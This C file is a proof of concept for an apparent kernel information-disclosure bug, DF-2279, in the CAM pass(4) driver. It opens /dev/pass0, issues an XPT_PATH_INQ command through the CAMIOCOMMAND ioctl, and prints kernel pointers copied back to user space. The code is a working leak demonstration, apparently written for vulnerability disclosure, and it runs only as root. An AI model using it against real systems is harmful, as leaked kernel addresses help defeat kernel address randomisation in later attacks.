DF-2279 / pass_xpt.c
/* DF-2279: pass(4) CAMIOCOMMAND rejects only XPT_FC_XPT_ONLY codes; other * kernel-internal XPT function codes (here XPT_PATH_INQ, which is neither * queued nor XPT-only) are executed against kernel-only objects, and * passsendccb then bcopy()s the ENTIRE kernel union ccb -- including the * ccb_h.path kernel pointer installed by xpt_setup_ccb -- back to user. * Demonstrated as root (pass0 is 0600 root:operator). */ #include <sys/types.h> #include <sys/ioctl.h> #include <stdio.h> #include <string.h> #include <errno.h> #include <fcntl.h> #include <unistd.h> #include <bus/cam/cam.h> #include <bus/cam/cam_ccb.h> /* scsi_pass.h is kernel-side; mirror its definition: * #define CAMIOCOMMAND _IOWR(CAM_VERSION, 2, union ccb) */ #define CAMIOCOMMAND _IOWR(CAM_VERSION, 2, union ccb) union bigccb { union ccb c; char pad[2048]; }; int main(void) { union bigccb u; int fd, i, rc; fd = open("/dev/pass0", O_RDWR); if (fd < 0) { printf("[-] open /dev/pass0: %s\n", strerror(errno)); return 1; } memset(&u, 0, sizeof(u)); u.c.ccb_h.func_code = XPT_PATH_INQ; u.c.ccb_h.flags = CAM_DIR_NONE; rc = ioctl(fd, CAMIOCOMMAND, &u); printf("[*] CAMIOCOMMAND XPT_PATH_INQ: rc=%d errno=%d (%s) ccb status %#x\n", rc, rc ? errno : 0, rc ? strerror(errno) : "ok", u.c.ccb_h.status); if (rc) { close(fd); return 1; } printf("[*] kernel-side ccb_h.path returned to userspace: %p\n", u.c.ccb_h.path); printf("[*] scanning returned CCB for canonical kernel pointers:\n"); { long *p = (long *)&u; for (i = 0; i < 96; i++) { if ((unsigned long)p[i] >= 0xffff800000000000UL) { printf(" offset %3ld (0x%04lx): 0x%016lx\n", (long)(i * sizeof(long)), (long)(i * sizeof(long)), (unsigned long)p[i]); } } } printf("[%c] kernel pointer(s) disclosed to a privileged CAMIOCOMMAND caller\n", ((unsigned long)u.c.ccb_h.path >= 0xffff800000000000UL) ? '+' : '-'); close(fd); return 0; } |